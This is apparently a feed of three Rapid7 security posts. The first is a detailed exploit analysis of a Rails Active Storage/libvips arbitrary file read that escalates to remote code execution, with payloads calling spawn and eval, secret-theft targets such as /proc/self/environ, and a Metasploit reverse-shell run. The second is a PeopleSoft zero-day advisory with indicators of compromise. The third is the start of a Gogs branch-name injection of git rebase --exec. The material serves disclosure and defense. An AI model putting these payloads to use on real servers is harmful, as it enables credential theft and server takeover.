Reading view

There are new articles available, click to refresh the page.

Rapid7 Analysis: KindaRails2Shell (CVE-2026-66066)

Overview

On July 29, 2026, the Ruby on Rails project published a security advisory for CVE-2026-66066, an arbitrary file read in Active Storage applications that use the Vips image processor with untrusted uploads. The affected Active Storage ranges are < 7.2.3.2, >= 8.0, < 8.0.5.1, and >= 8.1, < 8.1.3.1. Vips is the default Active Storage variant processor for applications that load Rails 7.0 or later defaults. Rails 6 applications are affected only when they explicitly configure Vips.

Our Emergent Threat Response blog covers the affected versions, mitigation guidance, and current exploitation status. This post traces the request from the direct-upload endpoint to the HDF5 read, then shows how the arbitrary file read can expose Rails signing material and become code execution. A vulnerable application can disclose arbitrary files before the attacker has recovered a Rails secret or forged a token. A genuine Active Storage variation_key from the same application, paired with a direct-upload blob whose stored content_type claims to be an image, is enough to reach a libvips loader that turns a crafted MAT/HDF5 file into an arbitrary file-read oracle.

We reproduced the published chain against Rails 6.0.6.1, 6.1.7.10, 7.2.3.1, 8.0.5, and 8.1.3, and confirmed that patched 7.2.3.2, 8.0.5.1, and 8.1.3.1 targets block the crafted representation. We also validated a remote code execution (RCE) path that uses only JSON-compatible Hash, Array, and String values in a signed variation. That path reaches Kernel#spawn or Kernel#eval through ImageProcessing's chain builder, and it worked when Rails was configured with config.active_support.message_serializer = :json.

The advisory covers the vulnerable Active Storage configuration. The MAT/HDF5 representation chain shown here has narrower requirements. The deployed libvips build must expose matload with MAT 7.3/HDF5 support, the application must preserve an attacker-supplied content_type, and the attacker must be able to trigger a representation, for example with a genuine variation key. Those requirements narrow where this particular chain works, but the underlying issue is that Active Storage handed untrusted uploads to libvips operations that libvips already marked unsafe for untrusted content.

The attack can be summarized as follows:

[Attacker]
   |
   | 1. Creates a direct-upload blob with content_type = image/png
   v
[Rails stores the blob as an image without examining the bytes]
   |
   | 2. Reuses a genuine variation_key from the same application
   v
[Rails accepts the blob as variable and starts a representation]
   |
   | 3. image_processing hands the local tempfile path to libvips
   v
[libvips matload]
   |
   | 4. Bytes 0-9 match "MATLAB 5.0"
   v
[libmatio]
   |
   | 5. Bytes 124-125 contain MAT_FT_MAT73 (0x0200)
   v
[HDF5 external storage]
   |
   | 6. Dataset bytes come from attacker-chosen path + offset
   v
[Rendered PNG representation]
   |
   --> Target file bytes are returned as image pixels

Analysis

The published chain contains two separate trust failures. Rails decides that a blob is an image from a database value, while libvips decides what parser to use from the bytes on disk. Once the file reaches matload, libvips and libmatio disagree again about the same MAT header. libvips only looks at the first ten bytes, while libmatio selects the MAT version from bytes 124 and 125.

Direct upload stores an attacker-controlled type

The standard direct-upload endpoint creates the blob record before the service receives the file. In Rails 8.0.5, ActiveStorage::DirectUploadsController#create accepts content_type directly from the request and passes it into create_before_direct_upload!:

class ActiveStorage::DirectUploadsController < ActiveStorage::BaseController
  def create
    blob = ActiveStorage::Blob.create_before_direct_upload!(**blob_args) # <-- [1]
    render json: direct_upload_json(blob)
  end

  private
    def blob_args
      params.expect(blob: [:filename, :byte_size, :checksum, :content_type, metadata: {}]).to_h.symbolize_keys # <-- [2]
    end
    def create_before_direct_upload!(key: nil, filename:, byte_size:, checksum:, content_type: nil, metadata: nil, service_name: nil, record: nil)
      metadata = filter_metadata(metadata)
      create! key: key, filename: filename, byte_size: byte_size, checksum: checksum, content_type: content_type, metadata: metadata, service_name: service_name # <-- [3]
    end

At [1] and [2], the endpoint accepts content_type from the client. At [3], Active Storage writes that value directly to the blob record. The direct-upload path never runs the server-side unfurl flow that would identify the bytes with Marcel. When we uploaded the same crafted file through a normal multipart attachment in the lab, Rails re-identified it as MATLAB data before variant processing, so it did not pass the image gate.

Once the direct-upload blob exists, Blob#variable? uses only the stored database value to decide whether the blob can be transformed. On the representation path, no built-in previewer accepts image/png, so the blob falls through to variant:

  def variant(transformations)
    if variable?
      variant_class.new(self, ActiveStorage::Variation.wrap(transformations).default_to(default_variant_transformations))
    else
      raise ActiveStorage::InvariableError, "Can't transform blob with ID=#{id} and content_type=#{content_type}"
    end
  end

  # Returns true if the variant processor can transform the blob (its content
  # type is in +ActiveStorage.variable_content_types+).
  def variable?
    ActiveStorage.variable_content_types.include?(content_type) # <-- [4]
  end

At [4], Rails performs a set-membership check against the stored content_type. No file bytes are examined. A crafted MAT/HDF5 object stored as image/png reaches the image variant pipeline.

A genuine variation key can be replayed against another blob

The standard representation route accepts a signed blob ID and a signed variation key as separate parameters. Rails resolves them independently:

module ActiveStorage::SetBlob # :nodoc:
  extend ActiveSupport::Concern

  included do
    before_action :set_blob
  end

  private
    def set_blob
      @blob = blob_scope.find_signed!(params[:signed_blob_id] || params[:signed_id]) # <-- [5]
    rescue ActiveSupport::MessageVerifier::InvalidSignature
      head :not_found
    end

    def blob_scope
      ActiveStorage::Blob
    end
end
class ActiveStorage::Representations::BaseController < ActiveStorage::BaseController # :nodoc:
  include ActiveStorage::SetBlob

  before_action :set_representation

  private
    def blob_scope
      ActiveStorage::Blob.scope_for_strict_loading
    end

    def set_representation
      @representation = @blob.representation(params[:variation_key]).processed # <-- [6]
    rescue ActiveSupport::MessageVerifier::InvalidSignature
      head :not_found
    end
end
    # Returns a Variation instance with the transformations that were encoded by +encode+.
    def decode(key)
      new ActiveStorage.verifier.verify(key, purpose: :variation) # <-- [7]
    end

At [5], Rails verifies the blob ID. At [6] and [7], it separately verifies the variation key and applies it to that blob. There is no cross-check between the two signed values. An attacker can copy a variation_key from any representation URL emitted by the same application and replay it against the signed ID of a newly created direct-upload blob. The file-read stage does not require secret_key_base.

The Vips pipeline leaves decoder selection to libvips

Active Storage then hands the tempfile path to image_processing. The loader(page: 0) call below can be misleading. It stores options for whichever loader libvips chooses later rather than choosing a loader itself:

def process(file, format:)
  processor.
	source(file).
	loader(page: 0). # <-- [8]
	convert(format).
	apply(operations). # <-- [9]
	call
end
def processor
  ImageProcessing.const_get(ActiveStorage.variant_processor.to_s.camelize)
end
def operations
  transformations.each_with_object([]) do |(name, argument), list|
	if ActiveStorage.variant_processor == :mini_magick
	  validate_transformation(name, argument) # <-- [10]
	end
	if name.to_s == "combine_options"
	  raise ArgumentError, <<~ERROR.squish
		Active Storage's ImageProcessing transformer doesn't support :combine_options,
		as it always generates a single command.
	  ERROR
	end
	if argument.present?
	  list << [ name, argument ] # <-- [11]
	end
  end
end

At [8], no decoder has been named yet. At [9], Rails forwards the signed transformation list into image_processing. For RCE, [10] and [11] matter because :mini_magick transformations pass through validate_transformation, while Vips transformations do not receive the same method-name validation.

In image_processing 1.14.0, the path later reaches Vips::Image.new_from_file:

def self.load_image(path_or_image, loader: nil, autorot: true, **options)
	if path_or_image.is_a?(::Vips::Image)
	  image = path_or_image
	else
	  path = path_or_image
	  if loader
		image = ::Vips::Image.public_send(:"#{loader}load", path, **options)
	  else
		options = Utils.select_valid_loader_options(path, options)
		image = ::Vips::Image.new_from_file(path, **options) # <-- [12]
	  end
	end
	image = image.autorot if autorot && !options.key?(:autorotate)
	image
  end

Because loader: remains nil, [12] leaves decoder selection to libvips's file sniffers.

libvips and libmatio disagree about the MAT header

In libvips 8.16.1, matload is marked as untrusted. Vulnerable Active Storage releases did not block untrusted operations before processing attacker-controlled uploads:

static void
vips_foreign_load_mat_class_init(VipsForeignLoadMatClass *class)
{
	/* ... omitted: class initialization ... */

	operation_class->flags |= VIPS_OPERATION_UNTRUSTED; // <-- [13]

	foreign_class->suffs = vips__mat_suffs;

	load_class->is_a = vips__mat_ismat; // <-- [14]

The entire libvips MAT sniffer is a ten-byte prefix check:

int
vips__mat_ismat(const char *filename)
{
	unsigned char buf[15];

	if (vips__get_bytes(filename, buf, 10) == 10 &&
		vips_isprefix("MATLAB 5.0", (char *) buf)) // <-- [15]
		return 1;

	return 0;
}

At [13], libvips marks matload as untrusted. At [14], it registers vips__mat_ismat as the loader's sniffer. At [15], a file only needs to begin with MATLAB 5.0 for libvips to select matload. A genuine MAT 7.3 file begins with MATLAB 7.3 MAT-file, so it fails this check.

In libmatio 1.5.28, the descriptive text is not the format selector. libmatio reads the fixed version field at bytes 124 and 125:

enum mat_ft
{
    MAT_FT_MAT73 = 0x0200, /**< @brief Matlab version 7.3 file */ // <-- [16]
    MAT_FT_MAT5 = 0x0100,  /**< @brief Matlab version 5 file   */
    MAT_FT_MAT4 = 0x0010,  /**< @brief Matlab version 4 file   */
    MAT_FT_UNDEFINED = 0   /**< @brief Undefined version       */
};

At [16], libmatio defines 0x0200 as the MAT 7.3 format identifier.

Mat_Open(const char *matname, int mode)
{
    FILE *fp = NULL;
    mat_int16_t tmp, tmp2;
    mat_t *mat = NULL;
    size_t bytesread = 0;

    /* ... omitted: file opening and allocation ... */

    bytesread += fread(mat->header, 1, 116, fp);
    mat->header[116] = '\0';
    bytesread += fread(mat->subsys_offset, 1, 8, fp);
    bytesread += 2 * fread(&tmp2, 2, 1, fp);
    bytesread += fread(&tmp, 1, 2, fp);

    if ( 128 == bytesread ) {
        /* v5 and v7.3 files have at least 128 byte header */
        mat->byteswap = -1;
        if ( tmp == 0x4d49 )
            mat->byteswap = 0;
        else if ( tmp == 0x494d ) {
            mat->byteswap = 1;
            Mat_int16Swap(&tmp2);
        }

        mat->version = (int)tmp2; // <-- [17]
        if ( (mat->version == 0x0100 || mat->version == 0x0200) && -1 != mat->byteswap ) {
            mat->bof = ftello((FILE *)mat->fp);
            if ( mat->bof == -1L ) {
                free(mat->header);
                free(mat->subsys_offset);
                free(mat);
                fclose(fp);
                Mat_Critical("Couldn't determine file position");
                return NULL;
            }
            mat->next_index = 0;
        } else {
            mat->version = 0;
        }
    }

At [17], Mat_Open stores the two-byte version field read from bytes 124 and 125 in mat->version. This is separate from the descriptive text that libvips already accepted at the beginning of the file.

static int
ReadData(mat_t *mat, matvar_t *matvar)
{
    if ( mat == NULL || matvar == NULL || mat->fp == NULL )
        return MATIO_E_BAD_ARGUMENT;
    else if ( mat->version == MAT_FT_MAT5 )
        return Mat_VarRead5(mat, matvar);
#if defined(MAT73) && MAT73
    else if ( mat->version == MAT_FT_MAT73 )
        return Mat_VarRead73(mat, matvar); // <-- [18]
#endif
    else if ( mat->version == MAT_FT_MAT4 )
        return Mat_VarRead4(mat, matvar);
    return MATIO_E_FAIL_TO_IDENTIFY;
}

At [18], ReadData dispatches MAT_FT_MAT73 into the HDF5-backed reader. A crafted file can therefore say MATLAB 5.0 to libvips while still entering MAT 7.3 handling in libmatio. HDF5 userblocks make this possible: the crafted file can place a valid HDF5 superblock after a 512-byte leading block that contains the spoofed MAT header.

HDF5 datasets can use an external backing file, including a caller-chosen path and byte offset. libmatio eventually asks HDF5 to read the dataset:

static int
Mat_H5ReadData(hid_t dset_id, hid_t h5_type, hid_t mem_space, hid_t dset_space, int isComplex, void *data)
{
    herr_t herr;

    if ( !isComplex ) {
        herr = H5Dread(dset_id, h5_type, mem_space, dset_space, H5P_DEFAULT, data); // <-- [19]
        if ( herr < 0 ) {
            return MATIO_E_GENERIC_READ_ERROR;
        }

Before [19], this read path does not check H5Pget_external_count(). HDF5 resolves the external storage entry and copies bytes from the attacker-selected file into the MAT variable's data buffer. libvips then treats those bytes as image pixels and Active Storage returns them in the rendered representation.

The header mismatch also leaves a useful content signature. In the first 128 bytes, the file claims MATLAB 5.0 at bytes 0 through 9, but carries the MAT 7.3 version and endian tag at bytes 124 through 127. A normal MAT 5 file has the text but not the MAT 7.3 tag. A normal MAT 7.3 file has the tag but not the text.

Why variants are not required

A returned representation is the easiest way to get bytes back, but the advisory states that generating variants is not a separate requirement. Active Storage can also reach Vips::Image.new_from_file during image analysis after a blob is attached. Rails's forensic repository documents a MATLAB_empty variant in which libmatio reads external bytes while deriving an empty array's dimensions, so those bytes can surface as width and height instead of pixel values. That route does not depend on preserving pixel values.

Representation is one way to trigger the loader. That route needs a direct-upload blob, a representation trigger, and a way to see the image that comes back. The analyzer path can reach the same loader without returning a variant, although the attacker still needs some way to observe the resulting metadata or logs. For exploitation, the returned PNG is more useful because it carries far more data per request.

Why the patch works

The relevant v8.0.5 to v8.0.5.1 diff does not add another content-type check. Instead, it loads a new Active Storage Vips initializer from the analyzer path and disables the libvips operations that libvips itself already marks as untrusted:

diff --git a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
index 7e682b3b75fda..e262e1a842aa4 100644
--- a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
+++ b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
@@ -2,0 +3,2 @@
+require "active_storage/vips"
+
diff --git a/activestorage/lib/active_storage/vips.rb b/activestorage/lib/active_storage/vips.rb
new file mode 100644
index 0000000000000..16b2ddbfbaad1
--- /dev/null
+++ b/activestorage/lib/active_storage/vips.rb
@@ -0,0 +23,20 @@
+if ActiveStorage::VIPS_AVAILABLE
+  begin
+    # image_processing 2.0 calls Vips.block_untrusted(true) itself when it loads, so it has to load
+    # before the lines below. Leaving it to load later, when the transformer first asks for it,
+    # would disable the loaders again after an application's initializers had re-enabled them.
+    require "image_processing/vips"
+  rescue LoadError
+    # image_processing is only needed to generate variants, not to analyze blobs.
+  end
+
+  unless Vips.respond_to?(:block_untrusted) # <-- [20]
+    raise <<~ERROR.squish
+      libvips's unfuzzed operations are not safe to use with untrusted content, and Active Storage
+      cannot disable them. Disabling them requires libvips 8.13 or later and ruby-vips 2.2.1 or
+      later. Please upgrade libvips and ruby-vips, or remove the ruby-vips gem from your Gemfile.
+    ERROR
+  end
+
+  Vips.block_untrusted(true) # <-- [21]
+end

Active Storage's engine loads the Vips analyzer during initialization, so the new require "active_storage/vips" runs during boot rather than waiting for a later representation request. At [20], patched Active Storage refuses to boot if the loaded ruby-vips/libvips pair does not expose the blocking API it needs. At [21], it blocks those operations globally. Because matload is marked VIPS_OPERATION_UNTRUSTED, libvips skips it before the crafted file can reach libmatio.

From file read to code execution

The file read can recover arbitrary files readable by the Rails worker. On Linux, /proc/self/environ is a useful first target because it may contain SECRET_KEY_BASE, RAILS_MASTER_KEY, or service credentials, but the file-read primitive itself is not Linux-specific. Procfs is only a convenient route to Rails signing material. An exploit that relies only on /proc/self/environ will miss applications that keep secret_key_base in encrypted credentials or legacy secrets.yml files. Useful read targets in those cases include config/master.key, encrypted credential files, and legacy secrets.yml paths. Before using a candidate secret, an exploit can check it against a genuine signed Active Storage blob ID.

Once an attacker has recovered secret_key_base and derived the Active Storage verifier key, they can sign a new variation instead of replaying an existing one. Ethiack's write-up uses instance_eval for this step. We confirmed that the same Vips-side transformation validation gap also accepts the following JSON-compatible shapes:

{"send":["spawn","/bin/sh","-c","id"]}
{"send":["eval","File.write('/tmp/kr2s', %x{id})"]}

In image_processing 1.14.0, Chainable#apply invokes the attacker-controlled transformation name on the builder:

def apply(operations)
  operations.inject(self) do |builder, (name, argument)|
	if argument == true || argument == nil
	  builder.public_send(name)
	elsif argument.is_a?(Array)
	  builder.public_send(name, *argument) # <-- [22]
	elsif argument.is_a?(Hash)
	  builder.public_send(name, **argument)
	else
	  builder.public_send(name, argument)
	end
  end
end

At [22], a transformation named send reaches the builder's public send method. The first array element becomes a second method dispatch, which can invoke private Kernel#spawn or Kernel#eval. Execution occurs while the pipeline is being built, before normal image operations run. In our tests, the representation request returned HTTP 500 because spawn or eval returns a non-builder value after the payload has already executed.

This RCE path does not depend on a Marshal object gadget. We validated it against Rails 8.0.5 configured with config.active_support.message_serializer = :json. We also tested the same structure on older Rails branches whose signed messages used Marshal serialization, but the attacker-controlled data remains a Hash, Array, and String structure rather than a deserialization gadget.

The MAT/HDF5 file read and the missing Vips-side transformation validation are distinct parts of the RCE chain. Rails pull request rails/rails#56995 discusses the same Vips-side validation gap. CVE-2026-66066 matters here because the file read can recover the signing material needed to sign a malicious variation for the built-in representation route.

Exploitation

Our Metasploit module follows the representation-based chain described above. It creates crafted direct-upload blobs, confirms the file read against /proc/version, recovers and validates Rails signing material, signs an ImageProcessing variation, and triggers either send/spawn for command payloads or send/eval for native Ruby payloads.

The module uses the returned PNG representation instead of the narrower MATLAB_empty metadata channel because the PNG path returns larger chunks directly in the HTTP response and gives the module a read channel it can validate automatically during secret recovery. A standalone proof of concept targeting an application that only analyzes uploads could reasonably prefer MATLAB_empty, but that path depends on an application-specific way to observe width and height metadata or logs. For code execution, the module uses send/spawn and send/eval, which fit Metasploit command and Ruby payloads directly.

In the lab run below, the representation used by the module resized the image, so the module selected a 20x20 sharpened text-read layout and recovered 180 bytes per request. It then recovered SECRET_KEY_BASE from /proc/self/environ, signed a JSON variation, and opened a shell as the Rails process user:

msf6 > use exploit/multi/http/rails_activestorage_vips_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RPORT 3003
RPORT => 3003
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) > run

[*] Running automatic check ("set AutoCheck false" to disable)
[+] Selected the 20x20 sharpened text-read layout (180 bytes per request)
[+] The target is vulnerable. Recovered /proc/version with the 20x20 sharpened layout
[*] Reading up to 65536 bytes from /proc/self/environ
[*] Detected SHA1 Active Support verifier signatures
[*] Detected the Active Support json message serializer
[*] Validated SHA256 key derivation against a signed blob ID
[*] Stored recovered environment bytes in: /home/cryptocat/.msf4/loot/20260731004237_default_127.0.0.1_rails.process.en_047300.bin
[+] Recovered SECRET_KEY_BASE from /proc/self/environ
[*] Triggering the ImageProcessing send/spawn variation using a verifier key derived from /proc/self/environ
[*] Command shell session 1 opened

msf6 exploit(multi/http/rails_activestorage_vips_rce) > sessions -i 1 -c id
[*] Running 'id' on shell session 1 (127.0.0.1)
uid=1000(rails) gid=1000(rails) groups=1000(rails)

The SHA1 and SHA256 lines refer to separate Rails settings. The first is the MessageVerifier digest used on the signed blob ID. The second is the key-generator digest used to derive the Active Storage key.

Ethiack's published  1x1 oracle is byte-exact because interpolation has no adjacent pixel values to mix into the result. Our module also tries larger square uint8 layouts with /dev/zero columns between file bytes. With those columns, it can invert image_processing 1.14.0's vertical sharpen pass and recover more text per request. We still validate every recovered secret against a genuine Active Storage signature because the larger transport is not byte-exact for arbitrary binary data.

Remediation

For remediation guidance, see Rapid7's Emergent Threat Response blog and the Rails security advisory. The fixed Active Storage releases block untrusted libvips operations during initialization and require libvips 8.13 or later plus ruby-vips 2.2.1 or later when ruby-vips is installed.

Active Exploitation of Oracle PeopleSoft Zero-Day (CVE-2026-35273)

Overview

On June 10, 2026, Oracle published a security alert for CVE-2026-35273, a critical vulnerability in the Updates Environment Management component of PeopleSoft Enterprise PeopleTools. Oracle released an out-of-band patch the same day as the advisory, underscoring the urgency of remediation. The vulnerability has a CVSSv3.1 score of 9.8 and is remotely exploitable without authentication. Per the vendor advisory, successful exploitation may result in remote code execution (RCE). TrendAI has classified the underlying flaw as a server-side request forgery (CWE-918). PeopleTools versions 8.61 and 8.62 are affected.

CVE-2026-35273 was reported to Oracle through TrendAI's Zero Day Initiative. According to a report published by Mandiant on June 11, 2026, this vulnerability has been exploited in the wild as a zero-day prior to the vendor security alert, with active exploitation observed between May 27 and June 9, 2026, predating Oracle's advisory by two weeks. The vulnerability was added to the CISA KEV on June 12, 2026.

Mandiant has attributed the campaign to UNC6240 (ShinyHunters), a financially motivated cybercriminal collective known for data theft and extortion. ShinyHunters has been linked to breaches across cloud services, SaaS platforms, and telecommunications providers, frequently exploiting weak authentication controls, stolen credentials, and cloud misconfigurations rather than deploying sophisticated malware.

Based on information published by Mandiant, the campaign heavily targeted the higher education sector; 68 percent of the more than 100 notified organizations were universities and colleges. The observed exploitation targeted PeopleSoft's Environment Management Hub (PSEMHUB) endpoints, and data stolen during the campaign was published on the ShinyHunters Data Leak Site (DLS) on June 9, 2026.

The /PSIGW/HttpListeningConnector URI path appears in both the indicators of compromise for this campaign and in a PeopleSoft exploit chain for CVE-2013-3821, detailed by Lexfo in 2017. A related XML External Entity (XXE) vulnerability, CVE-2017-3548, targeted a different Integration Gateway connector (PeopleSoftServiceListeningConnector) under the same /PSIGW/ path.

Technical overview

TrendAI's detection signatures for CVE-2026-35273 classify the underlying vulnerability as an SSRF. These include IPS Rule 1012580 ("Oracle Peoplesoft PeopleTools SSRF Vulnerability") and DDI Rule 5855 ("Peoplesoft PeopleTools Environment Management Hub (PSEMHUB) SSRF Exploit"). Mandiant describes CVE-2026-35273 as a critical remote code execution vulnerability, indicating that the SSRF serves as the mechanism through which code execution is achieved. Based on Mandiant's analysis, two endpoints are involved in exploitation: /PSEMHUB/hub and /PSIGW/HttpListeningConnector. The exploit chain may also cause the target system to make outbound SMB connections (TCP port 445) to external destinations, potentially allowing attackers to capture Windows machine-account NetNTLM hashes.

Post-exploitation activity observed by Mandiant included the deployment of MeshCentral (an open-source, and self-hosted web-based remote monitoring and management platform) remote management agents configured to masquerade as Microsoft Azure services (e.g., meshagent64-azure-ops.exe), with C2 communications directed to wss://azurenetfiles[.]net:443/agent.ashx. The attackers performed internal reconnaissance of PeopleSoft configurations, deployed lateral movement scripts, and exfiltrated data using zstd compression.

Mitigation guidance

Organizations running PeopleTools versions 8.61 or 8.62 should apply the vendor-supplied patch on an emergency basis, without waiting for a regular patch cycle to occur. Oracle has characterized this as a high-priority risk reduction measure.

In addition to patching, organizations should implement the following compensating controls:

  • Disable the Environment Management Hub (EMHub) Service in multi-server configurations, or completely remove the PSEMHUB application in single-server configurations.

  • Block external access to /PSEMHUB/* and /PSIGW/HttpListeningConnector at the network perimeter or firewall level. Per Mandiant, restricting these endpoints is considered non-breaking for standard end-user PeopleSoft Internet Architecture (PIA) browser sessions.

  • Monitor outbound SMB traffic (TCP port 445) from PeopleSoft servers to untrusted external destinations.

Given that exploitation occurred as early as May 27, 2026, Rapid7 strongly recommends investigating for signs of compromise even after patching, using the indicators of compromise outlined below.

For the latest mitigation guidance, please refer to the Oracle security alert and Mandiant's report.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-35273 with authenticated vulnerability checks available in the 12th June 2026 content release.

Intelligence Hub

Customers leveraging Rapid7's Intelligence Hub can track the latest developments surrounding CVE-2026-35273, including indicators of compromise (IOCs) from the Mandiant report published on June 11, 2026.

Indicators of compromise

The following indicators of compromise are sourced from Mandiant's report. Mandiant has also published a GTI collection with additional IOCs for registered users.

Network indicators

Staging and C2 infrastructure:

  • 142.11.200[.]186

  • 142.11.200[.]187

  • 142.11.200[.]188

  • 142.11.200[.]189

  • 142.11.200[.]190

  • azurenetfiles[.]net (C2 domain masquerading as Microsoft Azure)

  • 176.120.22[.]24 (ShinyHunters DLS mirror)

File indicators

Filename

Description

SHA-256

meshagent64-azure-ops.exe

Pre-configured Windows MeshCentral agent

f02a924c9ff92a8780ce812511341182c6b509d45bc59f3f7b522e37225d24fc

meshagent64-v2.exe

Pre-configured Windows MeshCentral agent

d83fdb9e53c5ff03c4cb0451ea1bebd79b53f29eadc1e2fa394c7af13a86ce2f

meshagent32-azure-ops.exe

Pre-configured Windows MeshCentral agent (32-bit)

c7e9332731b06644fc73e0046a2a89eaa59b09f54250e9bd622467187351711f

meshagent

Unconfigured Linux MeshCentral agent

68257a6f9ff196179ec03624e849927f26599eb180a7c82e14ef5bc4e93bc309

.bash_history

Attacker command history

2ab684d93c1553fad87041b4dea97188a97e78589deee2a7bacff905564f3a35

Host-based indicators

  • Unexpected .jsp files under <PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/

  • Unauthorized files or directories under .../PSEMHUB.war/envmetadata/transactions/

  • Unexpected directories named logs, persistantstorage, or scratchpad under PSEMHUB paths

  • Recently created or modified .xml files under <docroot>/envmetadata/data/environment/ (potential XMLDecoder persistence)

  • Defacement and extortion marker file: README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT

Log-based indicators

HTTP POST requests to the following endpoints from external source IPs:

  • /PSEMHUB/hub

  • /PSIGW/HttpListeningConnector

Requests to /PSIGW/HttpListeningConnector containing loopback addresses (127.0.0.1, localhost, ::1) or internal IP ranges within request headers or parameters may indicate SSRF exploitation.

Updates

  • June 12, 2026: Initial publication.

  • June 12, 2026: CVE added to CISA KEV.

CVE-2026-52806: Authenticated RCE via Argument Injection in Gogs (FIXED as of June 7, 2026)

Overview

Rapid7 Labs discovered a critical argument injection (CWE-88) vulnerability in Gogs, a popular open-source self-hosted Git service, tracked as CVE-2026-52806. Rapid7 Labs scores this vulnerability as CVSSv4 9.4 (Critical). The vulnerability allows any authenticated user to achieve remote code execution (RCE) on the server by creating a pull request with a malicious branch name that injects the --exec flag into git rebase during the "Rebase before merging" merge operation. A fix is available in Gogs 0.14.3, released June 7, 2026.

The exploit requires no admin privileges and no interaction with other users; an attacker operates entirely within their own account. Since Gogs ships with open registration enabled by default (DISABLE_REGISTRATION = false) and no limit on repository creation (MAX_CREATION_LIMIT = -1), an unauthenticated attacker can simply create an account and repository on any default-configured instance. Any registered user who creates a repo is automatically its owner. From there, enabling rebase merging is a single toggle in settings, and the entire exploit chain can be operated without interaction from any other user.

Alternatively, any user with write access to a repository where rebase is already enabled can exploit it directly. On instances where repository creation is restricted, an attacker still only needs write access to any repository that has (or can have) rebase merging enabled.

The result is arbitrary command execution as the Gogs server process user, giving the attacker the ability to compromise the server, read every repository on the instance (including other users' private repos), dump credentials (password hashes, API tokens, SSH keys, 2FA secrets), pivot to other network-accessible systems, and modify any hosted repository's code.

The latest release versions at the time of research, Gogs 0.14.2 and 0.15.0+dev (commit b53d3162), were confirmed to be affected. All prior versions supporting the "Rebase before merging" style are likely vulnerable as well.

Update #1: On June 7, 2026, the Gogs maintainer accepted Rapid7's patch and released version 0.14.3, which fixes this vulnerability. The vulnerability has been assigned CVE-2026-52806.

Product description

Gogs is a lightweight, self-hosted Git service written in Go. With ~50,000 GitHub stars and over 5,000 forks, it's one of the more popular self-hosted alternatives to GitHub, commonly deployed by companies, universities, and open-source projects.

A Shodan search for http.title:"Gogs" http.title:"Sign In" returns 1,141 internet-facing instances at the time of publication. The real install base is much larger since most deployments sit behind VPNs or internal networks.

Credit

This vulnerability was discovered by Jonah Burgess (CryptoCat), Senior Security Researcher at Rapid7, and is being disclosed in accordance with Rapid7's vulnerability disclosure policy.

Impact

Any Gogs instance with more than one user account is effectively "multi-tenant", meaning each user has their own repositories, credentials, and data on a shared server. This is the default for organizations, universities, and teams that use Gogs as a shared Git hosting platform. On any such instance, this vulnerability gives a single authenticated user full control of the underlying server. The attacker operates entirely within their own repository; no access to other users' repos is needed.

The vulnerability affects all supported platforms (Linux, macOS, Windows) and installation methods (pre-built binary, Docker, source). On Docker installations, the Gogs process runs as the git user (UID 1000 by default). On binary installations, the process user depends on how the administrator deployed the service (commonly git or a dedicated service account).

The practical impact:

  • Server compromise: Arbitrary command execution as the Gogs process user (typically git)

  • Cross-tenant data breach: Read every repository on the instance, including other users' private repos

  • Credential theft: Dump the database containing password hashes, API tokens, SSH keys, and 2FA secrets for all users

  • Lateral movement: Pivot to other systems reachable from the server's network

  • Supply chain attacks: Modify any hosted repository's code. The Gogs process user (typically git) has direct filesystem-level read/write access to every repository on the instance under a single REPOSITORY_ROOT directory, with no OS-level isolation between repositories. Direct filesystem manipulation bypasses Gogs' audit logging, and without commit signing (uncommon on self-hosted instances), forged commits are difficult to detect.

The exploit is fully automatable (a Metasploit module is provided) and runs in seconds. When the attacker creates and deletes their own repository, the only trace is an HTTP 500 in the server logs. When exploiting an existing repository, additional artifacts remain (see heading Indicators of compromise).

Technical analysis

The testing target was a Gogs 0.14.2 installation running via Docker on Linux (Ubuntu 24.04). The vulnerability was also confirmed on Gogs 0.15.0+dev (commit b53d3162). As noted above, the vulnerability affects all supported platforms (Linux, macOS, Windows) and installation methods.

Background: Merge vs. rebase in Gogs

A standard merge creates a merge commit joining two branch histories. A rebase before merge replays the head branch's commits on top of the base branch to produce a linear history. Under the hood, Gogs runs git rebase <base_branch> <head_branch> in a temp directory before pushing the result.

Critically, git rebase accepts an --exec flag that tells Git to run a shell command (via sh -c) after replaying each commit. Argument injection into --exec has been a recurring source of RCE vulnerabilities in Git-based applications. This is the exploitation primitive.

Gogs exposes 'Rebase before merging' as a per-repo setting (PullsAllowRebase). It is not enabled by default, but any repo owner or admin can enable it under Settings > Advanced. By default, any user who creates a repo is automatically its owner, so the barrier to exploitation is low. Administrators can restrict repo creation globally (MAX_CREATION_LIMIT = 0 in app.ini) or per-user (via Max Repo Creation in the admin panel), but this does not prevent exploitation by users with write access to existing repositories.

Root cause

The Merge() function in internal/database/pull.go passes the PR's base branch name directly to git rebase without a -- separator (a POSIX convention that signals the end of options, preventing subsequent arguments from being interpreted as flags):

if _, stderr, err = process.ExecDir(-1, tmpBasePath,
    fmt.Sprintf("PullRequest.Merge (git rebase): %s", tmpBasePath),
"git", "rebase", "--quiet", pr.BaseBranch, remoteHeadBranch); err != nil {

pr.BaseBranch comes from the URL parameter in internal/route/repo/pull.go:

baseRef := infos[0]  // from strings.Split(c.Params("*"), "...")

Both baseRef and headRef are validated via RevParse before the PR is created. RevParse is defined in the external git-module library and works by calling git rev-parse --verify <ref>, which only checks whether the ref resolves to a valid Git object. It does not sanitize against argument injection, and it does not need to since git rev-parse --verify treats --exec=... as a ref name and fails if it doesn't resolve. However, the attacker pushes the malicious branch name (e.g. --exec=<payload>) to the repo first, so RevParse succeeds because the ref genuinely exists. The value is stored in the database and later passed as-is to the rebase command.

Crafting the payload

Git branch names can legally contain $, {, }, =, and -. An attacker creates a branch named:

--exec=touch${IFS}/tmp/rce_proof

